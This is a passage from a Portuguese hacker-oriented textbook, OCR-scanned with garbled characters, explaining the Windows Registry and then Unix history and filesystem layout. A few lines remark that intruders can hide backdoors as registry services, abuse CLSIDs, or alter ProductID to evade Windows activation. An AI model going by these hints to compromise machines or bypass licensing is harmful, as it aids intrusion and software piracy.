parecidos. Ambos residem em arquivos binrios, so baseados em elementos simples, compostos por uma dupla "nome = dado", so organizados em cinco ou mais
grandes sees, chamadas de Root Keys (ou HKEYs) e no podem ser editados
diretamente: necessrio usar programas especiais para tal. Existem diversas ferramentas que podem ser utilizadas para visualizar e editar o registro. A mais simples o Editor de Registros (REGEDIT.EXE),
includo no prprio Wmdows. Usaremos o RegEdit para "escarafunchar" um pouco em nosso sistema.
7 Uma curiosidade: os Hives do Wmdows XP no possuem a extenso .dat

1771

] Plataforma

Windows

I Universidade

H4CK3R

A estrutura do Registro
Para organizar melhor os dados no registro, adotou-se uma estrutura hierrquica. Por isso mesmo essa estrutura assemelha-se organizao em diretrios
e subdiretrios - ou, usando a terminologia Microsoft, "pastas e subpastas". O
RegEdit tira partido disso e apresenta essa estrutura de forma muito similar
que o Windows Explorer mostra o contedo de seu disco rgido.
.,u.]..[

".,..".

EI'~ Meu computador


IJI1JiiIHKEY_CLASSES_ROOT
$1:iI HKEY_CURRENT_USER
ffi.GfjjJHKEY_LOCAL_MACHINE
B~
HKEY_USERS
IJJ~ .DEFAULT
EI~ Software
B'~
Micro$oft

[valor no definido)

,
.

I!H~"

I~H~ HKEY_CURRENT
_CONFIG
ffJ1ill2IHKEY_DYN_DATA

Observe que os dados esto organizados em seis grandes grupos cujos nomes iniciam-se com a sigla HKEY Cada um desses grupos chamado de seo
ou Root Key e pode conter valores chamados de chaves. Por exemplo, no Root
Key HKEY_USERSdo exemplo acima, h uma chave chamada .DEFAULTe outra chamada Software. Chaves podem possuir duplas nome/dado chamadas de
valor ou outras chaves. A chave Software possui uma subchave chamada
Microsoft, que por sua vez possui outra subchave chamada Windows, que por
sua vez possui um valor padro. So as duplas nome/dado que realmente armazenam as informaes no registro. H trs tipos de valores: String (um valor
em texto puro), Binary (um valor binrio - normalN.omei."
mente dados referentes a hardware e chaves de ati;.!ILba&$v<.< "w
J (Padro)
(valorno definido)
"1"
vao criptografadas de software) e DWORD (norJ AUach
ToD e,klop
"16"
8!1 Bit,PerPixel
malmente
um valor booleano - 1 para ativado, O
"240.180"
8!1 D e$ktopPo$
"96"
8!1 DPILogica~
para
desativado).A
utilizao de cada um deles de~"C"M:M'"
pender do contexto.
H cinco sees em algumas verses do Windows e seis nas demais. Cada
seo tem uma especializao e contm as informaes referentes a ela.
~ HKEY_CLASSES_ROOT - Esta seo contm todas as associaes de
arquivo do Windows. por meio dela que o Windows suporta drag and drop e
OLE e permite a definio de atalhos no sistema. Alguns aspectos da GUI

178 I
Plataforma

Windows

Universidade 1ano

(interface grfica com o usurio) tambm so definidos nela. Para remover


uma associao, basta excluir a chave com a extenso do arquivo. Este Root
Key falso: na verdade, uma subchave de HKEY_LOCAL_MACHINE.
~ HKEY_CURRENT_USER- Contm as informaes do usurio que est atualmente usando o sistema. Tambm um Root Key falso: na verdade um atalho
para uma subchave na seo HKEY_USERS.Quando o usurio d logout, todas as
configuraes de desktop, menu Iniciar,login e senhas de HKEY_CURRENT_USER
so salvas na chave exclusiva do usurio em HKEY_USERS.
~ HKEY_LOCAL_MACHINE - As informaes usveis por todos os usurios indiscriminadamente esto nesta seo, incluindo hardware e seus drivers,
software instalado e sua configurao e preferncias globais em geral.
~ HKEY_USERS- Aqui vo as preferncias individuais de cada usurio, que
representado por uma subchave CLSID.Quando o usurio se "Ioga"no sistema,
suas preferncias
e configuraes
so copiadas
daqui
para
HKEY_CURRENT_USER.
Quando o usurio d "logout" - e aparece aquele dilogo dizendo "Salvando suas configuraes" ou "Saving your settings" -, o sistema
est na realidade copiando o contedo de HKEY_CURRENT_USERde volta na
chave privada do usurio em HKEY_USERS.Uma maneira fcil de voltar as configuraes do usurio ao padro do sistema apagar sua chave neste Root Key.
~ HKEY_CURRENT_CONFIG - Semelhante a HKEY_CURRENT_USER.Antes de serem salvas, as alteraes no registro referentes instalao de hardware
e software esto guardadas neste Root Key,que na verdade apenas um atalho
para uma subchave em HKEY_LOCAL_MACHINE.
~ HKEY_DYN_DATA- Mais um Root Key falso: aponta para outra subchave
de HKEY_LOCAL_MACHINE.Dispositivos Plug and Play usam esta seo para
armazenar suas configuraes durante a instalao. Como o prprio nome diz,
esse Root Key dinmico e ser alterado sempre que dispositivos de hardware
forem instalados ou removidos do sistema. Sistemas da famlia WinNT (incluindo Windows 2000 e Windows XP) no possuem este Root Key,embora a chave
dentro de HKEY_LOCAL_MACHINEainda exista.
Todas as chaves e subchaves possuem um valor padro e podem possuir um
ou mais valores modificveis. O que chamamos de valor na realidade uma
dupla formada por um nome que o identifica e um dado a ele associado.
Um duplo clique em qualquer um dos valores permite edit-Ios.No necessrio
"salvar" as alteraes: o prprio RegEdit se encarrega de faz-Io automaticamente
ao ser fechado.

CLSIO?
Algumas chaves e valores possuem um cdigo completamente ilegvel chamado CLSID.Acrnimo para Class Identifier, os CLSIDsso uma seqncia de letras
8 Classes so entidades "c1onveis" que encerram dentro de si valores variveis e constantes e rotinas
chamadas de mtodos. Para mais informaes, consulte os apndices sobre programao disponiveis no CD.

1791
I

Plataforma

Windows

I Universidade

H4CK3R I

e nmeros, nicos no sistema, que identificam cada um dos componentes COM


existentes.
Um exemplo de CLSID {172BDDF8-CEEA-llDl-8B0500600806D9B6}. Complicado, no?
Component Object Models ou COMsso meios de controlar o Wmdows atravs de
scripts simples. O sistema usa o modelo cliente/servidor:h programas que oferecem
servios COM para que aplicaes-cliente possam usar.As aplicaes-cliente so os
scripts criados pelo usurio. Os servidores COM disponibilizam os mtodos (rotinas
que fazem aJgumacoisa) e variveispor meio de c1asseS8.
Cada uma das classesexistentes no Wmdows possui um identificador nico chamado ClassIdentifier ou CLSID.
Um servidor COM muito conhecido dos programadores o Microsoft Word.
possvel usar um objeto do Word em outras aplicaes por meio do CLSIDdesse
objeto. Outros servidores COM muito usados so o Internet Explorer (a base do
Windows) e o Outlook Express.
possvel controlar diversos aspectos do Wmdows simplesmente associando
CLSIDsa chaves no Registro. Assim como os programadores o fazem para facilitar sua vida, os hackers usam os CLSIDsno documentados para criar meios de
"tomar" sua mquina em uma invaso. Por meio dos CLSIDs possvel usar os
prprios mecanismos do Windows para estabelecer uma comunicao entre o
computador invadido e o invasor, sem a necessidade de um cavalo de tria
muito elaborado.
Com esses fundamentos j possvel dissecar as entranhas desse ente misterioso. Os autores acreditam que seria possvel implementar CLSIDs com nomes mais legveis, mas a Microsoft no s elaborou o padro dessa forma obscurantista como no divulgou muitas informaes a respeito. Apesar disso, algumas informaes sobre CLSIDs, COM e o Registro podem ser encontradas
no TechNet (www.microsoft.com/technet). Foge ao escopo deste livro analisar com profundidade todos os aspectos do Registro e seus CLSIDs, embora
seja obrigao de todo candidato a hacker ir atrs desses conceitos.

Um pouco de graxa nos cotovelos...


De todo o Registro do Windows, a seo mais interessante , realmente, a
HKEY_LOCAL_MACHINE.
Usando o RegEdit,navegue at essa Root Key e observe atentamente suas chaves. As descries abaixo servem para a famliaWinNT foram retiradas de um Windows XP Professional. A Famlia Win9x possui algumas diferenas, embora seja muito semelhante na maioria dos elementos.
A chave System contm trs chaves ControlSet (no Wm9x, apenas uma), mais
as chaves LastKnownGoodRecovery (que aponta para o melhor ControlSet em
caso de pane), Mounted Devices (que lista todos os dispositivos de disco e de
rede em uso), Select (com configuraes padro) e Setup (com informaes sobre a instalao do Windows). As chaves ControlSetOOl e ControlSetOO2 existem apenas na famlia WmNT e so backups de configuraes anteriores. Uma
delas ser utilizada se, durante o boot, for escolhida a opo "Revert to last known

180 I
Plataforma Windows [

Universidade

1 ano

good configuration" ou "Usar ltima configurao funcional". A chave


CurrentControlSet existe em todas as famlias Windows e a que efetivamente
abriga a configurao atual de seu computador. dividida em quatro sees:
~ A Control contm as configuraes do Painel de Controle. Na realidade, o
Painel de Controle meramente um front end para essa chave.
~ A chave Enum contm informaes a respeito de todas as interfaces de I/O
do computador, como USB,IDE e PCI.Normalmente no se deve "bulir" com essa
chave, mas hackers experientes podem us-Ia para auxiliar no controle do computador invadido, forar uma vulnerabilidade ou plantar alguma bomba-relgio.
~ A Hardware Prof1les guarda as configuraes de hardware da mquina. O
Windows permite que vrias configuraes de hardware diferentes possam
ser usadas na mesma instalao, e elas so guardadas aqui. Para excluir uma
configurao de hardware, basta excluir a subchave correspondente. O perfIl
de hardware sendo usado est contido em Current. Hackers mal-intencionados
podem alterar ou excluir as subchaves e deixar a mquina desconfigurada.
~ Por fIm, a Services contm dados sobre todos os servios que esto sendo
executados. nessa seo que os drivers de dispositivo, as bibliotecas de vnculo dinmico (DLL) e os mdulos de virtualizao do kernel (VxD) so carregados. VxDs so, na realidade, referncias a grupos de arquivos com extenso
SYS. Na chave Services tambm so armazenados os parmetros que devem
ser passados aos VxDs e s DLLs quando so chamadas. Na prtica, todos os
servios que o Windows conhece (estejam rodando ou no) esto armazenados em subchaves dentro de Services, incluindo servios de comunicao e
redes. Isso signifIca que apagar uma chave dessas signifIca esconder do Windows
a existncia de tal servio ou programa mesmo que ainda esteja fIsicamente
instalado no HD! O administrador de sistemas pode simplesmente excluir daqui
uma configurao de redes que esteja dando problemas. E o hacker, por sua vez,
pode implementar seus backdoors como servios nessa chave.
Ainda em HKEY_LOCAL_MACHINE,
a chave HARDWAREcontm atalhos para
outras partes do registro que possuam informaes sobre o hardware instalado.
composto pelas chaves ACPI (dados do fabricante da mquina), DESCRIPTION
(dados sobre processador e memria), DEVlCEMAPS(configurao de dispositivos de E/S) e RESOURCEMAPS(configurao dos recursos do Windows).
De todas as chaves de HKEY_LOCAL_MACHINE,
talvez a mais importante para
nosso estudo seja a seo SOFfWARE.Observe a organizao por fornecedor. A
chave de cada fornecedor - por exemplo,Adobe, StarDivision, Microsoft - encerra as informaes globais para todos os aplicativos de um mesmo fabricante,
incluindo rastreamento de verses, instrues para atualizao e desinstalao,
pastas de instalao, de trabalho e de origem. Algumas variveis de sistema tambm so mantidas a, como, por exemplo, a chave Classes, que contm as associaes de arquivo. O Root Key HKEY_CLASSES_ROOT
, na verdade, apenas um
atalho para HKEY_LOCAL_MACHINE\SOFTWARE\Classes.
I

] Plataforma

81

Windows

I Universidade

H4CK3R

o tesouro
Cada fabricante tem sua prpria subchave, e a Microsoft, sendo tambm uma
desenvolvedora de software, possui uma subchave em HKEY_LOCAL_MACHINE\
SOFIWARE. A diferena que, sendo a desenvolvedora do sistema, colocou ali tudo o
que poderia ser necessrio para a configurao e integrao com outros produtos Microsoft.
Portanto, no h aqui apenas infonnaes sobre os programas Microsoft instalados, como
oWord ou o Excel.Muitas infonnaes que podem ser usadas pelos servios de BackOffice,
bem como a maioria dos servios Microsoft, possuem chaves aqui. Infonnaes sobre
DIls, controles e plug-insActiveX, o Microsoft Installer (MSI) e a localizao das mdias de
instalao, entre outras coisas, tambm possuem entradas sob a chave Microsoft.
Como exerccio antes de prosseguir, coloque o livro um pouco de lado e
pesquise bastante em todas as subchaves abaixo da chave Microsoft. Entre em
uma por uma, verifique seus nomes e subchaves, verifique o contedo (nome/
dado) dos valores. Observe que h chaves que possuem vrios valores em um
nvel, mesmo este tendo subchaves de nvel mais baixo. No altere nada! Apenas observe e deixe a chave Windows para o lmal. Pronto? timo!
Vamos olhar com mais ateno a chave Windows. Nela h trs chaves: Current
Version, ITStorage e Shell. A ITStorage e Shell no tm muita utilidade em sistemas isolados, mas a Current Version possui muitas informaes interessantes. Observe os valores da prpria chave. Entre eles temos o ProductID
(que, no Wmdows XP,
,
importantssimo para a ativao - e um dos valores alterados pelos crackers para
burl-Ia) e os caminhos para os componentes primrios do Wmdows, como o local
onde esto os arquivos de programas.
Alm desses valores, a chave Current Version abriga centenas de subchaves. Algumas so fceis de entender, como a chave Explorer\Tips, que contm as "dicas do
dia". possvel alter-Ias para colocar outras dicas ou mesmo incluir mais valores
com novas dicas. Outras subchaves so mais hermticas. A subchave Installer, por
exemplo, abriga dados relativos ao Microsoft Installer (MSI), mas faz uso dos
indecifrveis valores CSLID.Navegue um pouco por essas duas chaves e s retome a
leitura do livro quando tiver uma viso geral do fimcionamento de ambas.
Com esses fimdamentos entendidos, o Registro do Wmdows j no deve ser mais
um mistrio to obscuro para o leitor. Como "tarefa para casa", sugerimos o estudo
(com o RegEdit) das seguintes chaves:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EventSystem
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Multimedia
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Outlook Express
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\
- App paths

182 I
Plataforma Windows [

ano

Universidade,o

Control panel
Controls Folders
Explorer
Installer
policies
Run (programas carregados em todos os boots)
RunOnce (programas carregados s urna vez)
- RunOnceEx (programas carregados s urna vez e depois
excludos)
- Setup
- SharedDLLs
(MUITO importante!)
- Unins tall

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet
HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices
HKEY_LOCAL_MACHINE\SYSTEM\Setup

Lembrando sempre de que tomamos como ponto de partida o Registro do


Wmdows XP.Se o leitor possui outra verso do Windows, ser interessante tambm
procurar pelas mesmas chaves nela para conhecer as diferenas e semelhanas.

Where to, buddy?9


Em um livro como este no h espao para se aprofundar mais. Felizmente, a
Internet oferece alguns recursos para quem quer ou precisa conhecer mais
sobre a estrutura dos sistemas operacionais da Microsoft.
Um bom ponto de partida o TechNet (www.microsoft.com/technet).
site
da Microsoft dirigido a tcnicos e programadores. Na pgina principal, h links
para as tecnologias mais atuais da empresa, como o Windows XP e a plataforma
.NET.Entretanto, possvel usar os mecanismos de busca do prprio site para
encontrar qualquer informao sobre qualquer produto. Com um pouco de
pesquisa possvel conhecer, por exemplo, detalhes da estrutura interna do
kernel do Windows 98 ou diferenas entre os registros do Windows 95 e do
Windows NT. Mesmo as especificaes de coisas muito antigas, como o MSDOS e o LAN Manager, podem ser encontradas. Preferimos o site americano e
no o brasileiro devido velocidade de atualizaes, embora esteja em ingls.
Outros sites em que podem haver informaes sobre plataformas Microsoft
so o site principal da empresa (www.microsoft.com).
o Winguides
(www.winguides. com) e o TechRepublic (www.techrepublic.com). No deixe
de visit-Ios. H muitas informaes reunidas apenas nesses sites.

9 Quem jogava arcade games no final dos anos 80 certamente reconhece


de que jogo estamos falando, infelizmente no podemos dar mais nenhuma

essa frase. Se ainda no descobriu


pista. Har bar bar bar bar ...

1831

] Plataforma

Windows

Plataformas

nlx

Captulo

'Subi talvez s mximas alturas, Mas, se hoje volto


assim, com a alma s escuras.
necessrio que inda eu suba mais!"

Augusto dos Anjos, "Solilquio de um visionrio" do livro Eu e outros poemas - 1912

! Universidade H4CK3R I

No fomos ns que dissemos, mas sim a Netcraft (www:netcraft.com): 66%


dos servidores Web na Internet rodam algum tipo de Unix. Essa maioria esmagadora de sites que prestigiam o veterano sado dos laboratrios da AT&T na
dcada de 60 no o faz toa. Enquanto nas mquinas desktop (aquelas que
voc usa em cima de sua escrivaninha, no trabalho ou em casa) o Microsoft
Windows considerado o padro de fato, em servidores para Internet no h
muita discusso em torno do sistema operacional a ser usado.
a Unix um sistema com mais de 30 anos de estrada. Robusto, leve e portvel,
vem sendo lapidado desde seu lanamento em 1969 e, apesar de j ser bem
antigo, est sempre afinado com as novidades tecnolgicas. Por ser o sistema
mais usado, tambm o sistema mais atacado. a fato de funcionar como o
motor de dois teros dos sites do mundo e mesmo assim ser muito menosinvadido do que qualquer um dos adversrios mostra a confiabilidade desses sistemas. A contrapartida que, por ser assim to confivel e poderoso, tambm o
sistema operacional mais usado para originar ataques, qualquer que seja o alvo.

o modeloUnix de sistemas operacionais

86

interessantssimo o poder da mdia. Quando se fala em A Bela e a Fera,


ningum lembra do filme de Cocteau, considerado uma das obras-primas do
cinema francs. Muito menos de Jeanne Marie Leprince de Beaumont, pesquisadora que no sculo 18 coletou diversos contos medievais sobre o tema
e os reuniu, costurando a histria que conhecemos hoje. Pelo contrrio, as
pessoas s se lembram do desenho animado recentemente lanado por um
grande estdio norte-americano...
Em se tratando de sistemas operacionais temos o mesmo problema. Na lembrana de todos, apenas os sistemas mais novos prevalecem, mesmo sendo menos otimizados ou menos preparados para servios de rede e misso crtica.
Apesar disso, ao redor do globo milhes de administradores de rede se utilizam
de alguma variante Unix para resolver problemas que outras plataformas nem
sonham enfrentar.
as sistemas Unix podem ser considerados tanto belas quanto feras. A Internet
no existiria sem os sistemas Unix - alis, a Internet foi criada para interligar
APENASsistemas Unix... At hoje, como os dados da Netcraft podem comprovar, a maioria dos servidores Web do mundo emprega alguma variante de Unix,
e h esforos para que sistemas Unix ou similares sejam utilizados em estaes
de escritrio ou mesmo em dispositivos mveis, como celulares e palmtops.
H muita beleza nos sistemas Unix. Sua estrutura rgida e bem montada parece aos olhos dos seus usurios quase que como maravilhosos poemas. a poder
de fogo que esse sistema d a quem o domina chega a ser inebriante. Por sua
origem em laboratrios de pesquisa como ambiente de desenvolvimento, o Unix
possui diversas ferramentas para administradores de sistemas e redes e para

Plataforma

Unix

Universidade 1ano

programadores. Tambm por essa origem, h uma enorme e fraternal comunidade de usurios que trocam experincias e se ajudam mutuamente. As grandes
empresas que fabricam ou oferecem solues baseadas em Unix formaram um
consrcio e definiram diversos padres que garantem interoperabilidade e
conectividade. O Unix considerado, exatamente por isso, um sistema abertol.
Sim, o Unix belo. Mas belo como um grande felino. Dom-Io requer treinamento, persistncia e um pouquinho de coragem. O conhecimento para dominar nossa fera no "rocket science", entretanto. As pessoas sentem-se amedrontadas pela quantidade de ferramentas disponveis ou pela prpria linha de
comando. As interfaces grficas, apesar de no serem "toscas" como nos primeiros tempos, so diferentes das que a maioria dos usurios est acostumada. Por
fim, h vrios "sabores" diferentes de Unix a escolher. Cada qual tem seus atrativos, mas tambm tem suas dillculdades e... Espere a! Sabores?

Apenas um jogo de computador...


Em 1963, o MIT, os laboratrios da Bell (empresa de telecomunicaes
estadunidense, subsidiria da gigante telefnica AT&T) e a General Electric
Company uniram-se para criar um sistema operacional revolucionrio. Obviamente baseado nos computadores GE, o projeto tinha como objetivos:
~ Ser multiusurio;
~ Ser multitarefa;
~ Oferecer grande capacidade de armazenamento para dados e programas;
~ Permitir compartilhamento de dados entre usurios e grupos.
O sistema foi batizado de MULTICS,numa referncia s suas capacidades
multiusurio e multitarefa. Aps quatro anos de desenvolvimento em um
GE-645, o MULTICSde 1969 estava muitssimo aqum dos objetivos propostos.
Nesse mesmo ano, os Bell Labs decidiram sair do projeto.
Frustrados com a interrupo de seus esforos e desejosos de possuir um sistema que realmente atendesse aos propsitos iniciais do MULTICS, alguns
desenvolvedores dos BellLabsresolveram, secretamente, iniciar o desenvolvimento
de outro sistema operacional. Um desses desenvolvedores era Ken Thompson,
que no queria mais usar o GE-645 com MULTICSque havia ficado nos Bell Labs
para brincar com seu joguinho preferido. O Space Travels rodava muito mal no
MULTICS,e cada partida custava AT&T aproximadamente 75 dlares.
Thompson decidiu ento portar seu jogo para outro computador que estava
"dando sopa" no laboratrio, um PDP-7tambm da DEC. Mas o sistema operacional
do PDP-7 no era muito flexvel, ento Thompson comeou a escrever rotinas de
apoio para seu joguinho. No perodo de um ano, ainda em 1969, as "mandracarias"
de Thompson tornaram-se a primeira verso do sistema operacional Unix, total1 Aviso aos mais radicais: quando falamos em sistemas abertos,
sobre software livre e cdigo aberto uma outra histria...

falamos

de padres

abertos. A discusso

1871
I

Plataforma

Unix

I Universidade

H4CK3R

mente escrita no Assembler do PDP-7.Para convencer seus superiores nos Bell Labs
da seriedade do projeto, apresentaram-no como um futuro sistema para
processamento de textos, o que posteriormente evoluiu para um sistema operacional
de uso geral.A palavra Unix2 era um trocadilho com o nome do MULTICS3.
Apenas em 1971 o Unix seria considerado um sistema operacional acabado.
At esse ano, muitas tecnologias foram desenvolvidas para que o "beb-ux" viesse ao mundo. Uma delas foi a linguagem C, desenvolvida por Dennis Ritchie a
partir da linguagem B de Thompson. O Unix foi totalmente reescrito em C e
pde, com isso, ser portado para qualquer mquina: bastava recompil-Io. O
conceito de portabilidade o maior trunfo do Unix at hoje e abriu novos
horizontes para a computao. Em 1977, o Unix foi lanado como sistema
operacional comercial e, de l para c, vem equipando sistemas to diversos
como dispositivos de mo e supercomputadores Cray.
Neste livro, usamos a palavra Unix indiscriminadamente referindo-nos a qualquer variao ou "sabor" dos sistemas baseados no Sing1e Unix Specification,
que engloba os padres POSIX,XPG4 e ANSI C. Outros autores usam as nomenclaturas *nix, u*ix e Unix-like. Unix marca registrada do The Open Group
(www.unix-systems.org). "Similares a Unix" indica sistemas que se parecem com
um Unix, mas no o so oficialmente (como o GNUlLinux e o FreeBSD).

POSIX
Os trs documentos que formam o superconjunto Single Unix Specification
aplicam-se a partes diferentes do sistema. ANSI C o padro para a linguagem
de programao recomendada para o desenvolvimento de sistemas Unix e pode
ser encontrado em (www.ansi.org). J o XPG4 o padro para implementao do
servidor X, o programa central para aplicaes grficas em Unix. Informaes sobre
a especificao, o servidor X e o X Consortium podem ser obtidas em (www.x.org).
Mas h um mais importante que os outros dois. Todo Unix que se preze deve,
obrigatoriamente, aderir ao POSIX, um padro mantido por vrias entidades:
IEEE e Open Group, nos Estados Unidos, e ISO/IEC, na Europa. Ele define as
chamadas de sistema, ou seja, as mensagens e sinais que os processos vo trocar entre si. Podem ser comparadas s mensagens do Windows que vimos no
captulo anterior, mas as system calls do Unix so muito mais numerosas,
especializadas e modulares.
2 No h espao aqui para contar toda a interessantssima histria do Unix. Um dos melhores documentos sobre os primeiros
dias, escrito por Dennis Ritchie, pode ser encontrado
no endereo
cm.bell-labs.com/cm/cs/who/dmr/hist.htmI.
Alm de curiosidades histricas, so descritos os fatos que
levaram o Unix a se parecer com o que hoje.
3 No pense que o MUL11CSmorreu em 1969! Seu desenvolvimento continuou e a GE (depois comprada
pela Honeywell e, mais recentemente, pela BulI) utilizou-Q como um de seus sistemas principais por muitos
anos. O ltimo sistema MUL11CSainda em 1imcionamento foi oficialmente desativado em 31 de outubro do
ano 2000. Para saber mais sobre MUL11CS, visite o site dos aficionados: www.multicians.orl!. Um ensaio
sobre o quanto o Unix foi inspirado no MULTICS pode ser visto em www.muIticians.orl!/unix.htmI.

188 I
Plataforma

Unix

Universidade 1ano

Dezenas de sabores sua escoLha


Talvez o leitor soubesse a que nos referamos quando dissemos que o Unix
era um sistema operacional aberto. Mais ainda, quando citamos que havia diversos "sabores" disponveis. Mas Unix um sistema operacional e no um sorvete.
Que negcio esse de "sabor"?
Sendo um padro aberto, o Single Unix Specification permite que vrios
fabricantes possuam a sua prpria implementao. Mesmo sendo extremamente diferentes em alguns casos, ainda so considerados Upices porque aderem ao padro Unix-98 (a ltima verso do Single Unix Specification). Com
efeito, podemos citar alguns desenvolvedores de software que possuem verses do sistema:
~ Sun Microsystems, com seu Solaris;
~ IBM,com o AIX;
~ SGI e o IRIX;
~ BSDi com a implementao BSD e a verso gratuita FreeBSD;
~ Hewlett-Packard e seu HP-UX;
~A prpria Microsoft e o fmado Xenix;
~A famlia GNUlLinux.
Citamos apenas os mais conhecidos. Existem muitas outras implementaes
Unix, comerciais ou no. O que chamamos de "famlia GNUlLinux" um conjunto de centenas de distribuies diferentes desse sistema operacional de cdigo
aberto, cada uma delas com suas prprias idiossincrasias.
Por que essa confuso? Na dcada de 80, quando vrias implementaes comerciais comearam a ser desenvolvidas, cada fabricante acabou criando seus
prprios padres e "puxando a sardinha para o seu lado". Os Unices tornaramse to diferentes entre si que acabaram no sendo interoperveis. Uma rede
heterognea era impossvel na poca, e hoje o padro Unix-98 tenta derrubar
essas diferenas.

As entranhas da fera
Todas as recomendaes que j demos no captulo anterior valem para este
tambm (e para todos os subseqentes - repetiremo-Ios diversas vezes, quase
que como uma lavagem cerebral...). Todo hacker que se preze deve conhecer
sistemas Unix, mesmo que os odeie. possvel que, depois da leitura deste
captulo, antigos detratores desse decano mudem de religio e passem a rezar
na igreja de Ken Thompson. Mas, convencido ou no, os sistemas Unix certamente faro parte de sua vida de ciberativista.

1891
I

Plataforma

Unix

I Universidade

'

Estrutura
Os sistemas operacionais da fan1iaUnix podem, para fins didticos, ser divididos em partes classificadas por funo: kemel (ceme ou ncleo), shell (concha
ou casca) e programas do usurio (aplicativos e ferramentas). Como essa abordagem muito parecida com a prpria definio de sistema operacional , podemos usar uma simplificao do diagrama em camadas para demonstr-Io.
Essestrs grandes componentes se utilizam de uma
estrutura fsica universal chamada de sistema
de arquivos.Antes de entrar em detalhes sobre shell, system calls, processos e
kemel, vamos mergulhar um pouco nessa infra-estrutura sobre a
qual todos os Unix so montados. So necessrios alguns fundamentos e comandos do shell para
percorr-Io. Caso tudo
isso seja muito novo
para voc, consulte o
apndice E,"B--b
do Unix".

Sistema de
arquivos
o
Microsoft
Windows
possui
uma estrutura bsica de diretrios. Entretanto, ela existe
como conseqncia
da estruturao do sistema, no como causa. Os arquivos de sistema relevantes
esto frouxamente
organizados
no diretrio
Windows
(ou WinNT) e
subdiretrios dentro dele. Mesmo as partes do kemel esto dispostas em arquivos separados, misturados com outras centenas de arquivos dspares jogados
dentro de C\WlNDOWS. O grande agente aglutinador do sistema operacional
microsoftiano o Registro do sistema4.

4 Lembrando que o Registro dos sistemas Windows fisicamente gravado em diversos arquivos, e que
cada verso possui um conjunto diferente deles. Quando falamos em organizao do Registro aqui, estamos
nos referindo organizao lgica, aquela que apresentada ao usurio quando ele abre o Editor de
Registro e que comum a todas as verses do sistema.
I

Plataforma Unix I

Universidade 1 ano

Os Unix, por outro lado, so estruturados justamente a partir do sistema de


arquivos. Qualquer coisa que possa ser manipulada no sistema tratada como
um arquivo. Isso inclui dispositivos de hardware (como sua placa de som ou a
porta de impressora), os processos em execuo e, obviamente, os arquivos
comuns. possvel, por exemplo, copiar um MP3 para dentro do arquivo correspondente sua placa de som: como por mgica, a msica soar nos alto-falantes.
Os arquivos ligados aos processos em execuo podem ser usados para controllos. Ler esses arquivos normalmente nos permite ter acesso a informaes sobre o processo; e, grosso modo, podemos escrever neles para mandar mensagens ao processo.
No h indicao no padro POSIX a respeito da organizao hierrquica de
diretrios: sistemas de arquivos Unix seguem um padro tcito e no oficial.
H diversos documentos e proposies tcnicas a respeito, como o File Hierarchy
Standard (www.pathname.com/fhs). mas nenhuma desenvolvedora comercial
de Unix obrigada a segui-los.A nica exceo so os sistemas GNU/Linux, que
possuem uma padronizao especfica e rgida para isso na Linux Standard
Base (www.1inuxbase.org).
Mesmo no havendo um documento oficial, h um consenso na distribuio
de diretrios em um sistema Unix. Exceto por diferenas muito sutis, a "rvore"
de diretrios de qualquer sabor de Unix se parece com esta. A hierarquia de
diretrios , na verdade, um superconjunto ou unio das principais estruturas
dos "sabores" mais comuns. Em alguns sitemas, por exemplo, no temos o
/proc; em outros, o /dev existe, mas possui outro nome; e a organizao abaixo
de !lib, /usr e /var tambm varia entre os diversos tipos de Unix. Mas o "esqueleto" basicamente esse, e a partir dele muito fcil descobrir e entender as
diferenas de um sistema em especial.
O diretrio principal, aquele que contm todos os outros, chamado de raiz,
apesar de estar no topo da estrutura5. representado por um sinal de barra
(I) - no confundir com a barra invertida (\) usada no Windows - e qualquer
arquivo ou diretrio referenciado a partir dele. Por exemplo, o diretrio tmp
deve ser representado como /tmp. Um arquivo qualquer dentro do diretrio
/tmp seria encontrado se dssemos o endereo completo: /tmp/arquivo.
Cada um dos diretrios possui uma funo especfica:
~ Ibin: ferramentas necessrias para a operao do sistema;
~/sbin: ferramentas do administrador necessrias para a operao e manuteno do sistema - o "s" de superuser;
~ /dev: cada dispositivo de hardware instalado possui um arquivo neste
diretrio;
~/etc: os arquivosde configurao do sistemae dos programas esto neste diretrio;
5 Considere que nossa estrutura uma rvore invertida (galhos no cho e raizes ao cu) e a visualzao
flcar fcil.
191

] Plataforma

Unix

Universidade H4CK3R

/
bin
dev
etc
home
lib
mnt
proc
sbin
tmp
usr
bin
doc
etc
include
lib
local
man
sbin
share
src
var
192 I
Plataforma Unix

~ /home: cada usurio cadastrado no sistema possui


um diretrio com seu nome em /home - esta a nica
rea de disco que a maioria dos usurios est autorizada a utilizar para gravar seus arquivos;
~/lib: as bibliotecas de funes do sistema esto aqui
- considere-as como as "DLLs"do Unix;
~/mnt: diretrio usado para conexo a volumes presentes em outros computadores da rede ou para acessar
dispositivos removveis, como disquetes, fitas magnticas e CDs;
~/proc: arquivosrepresentando os processos em execuo;
~ /tmp: espao para arquivos temporrios gerados
pelos programas ou pelos prprios usurios;
~/usr: os aplicativos do usurio esto instalados abaixo de /usr;
~ /var: informaes variveis do sistema (spool de impressora, caixas postais, cache de Internet, log do sistema, etc.).
o diretrio /usr muito importante. Praticamente tudo o
que os usurios vo utilizar est nele. Mas por que esse
diretrio existe? No seria mais fcil colocar tudo em Ibin?
Normalmente, o Ibin e o /sbin contm apenas os programas estritamente necessrios para que o computador funcione e possa dar boot ou ser reparado. No /usr
esto guardados o restante dos programas dos usurios
(ferramentas, editores de texto, navegadores de Internet
e ambientes grficos) bem como a documentao do sistema e os arquivos compartilhados. O /usr pode estar na
mesma partio do Ibin e do /sbin. Mas tambm pode
estar em outra partio, que s acessada pelo sistema
depois que o Unix termina sua inicializao.
O /usr pode ainda estar em uma mquina centralizada
na rede, que exporta um /usr comum a todas as estaes
Unix. Com isso, o administrador tem de instalar programas apenas uma vez em vez de faz-Io em cada um dos
computadores Unix sob sua superviso.
O /usr quase um "mini-root": contm seus prprios
bin, sbin, lib, etc., que so, respectivamente, os diretrios
de programas comuns do usurio, ferramentas do
superusurio, bibliotecas de funes dos programas abaixo do /usr e arquivos de configurao dos programas
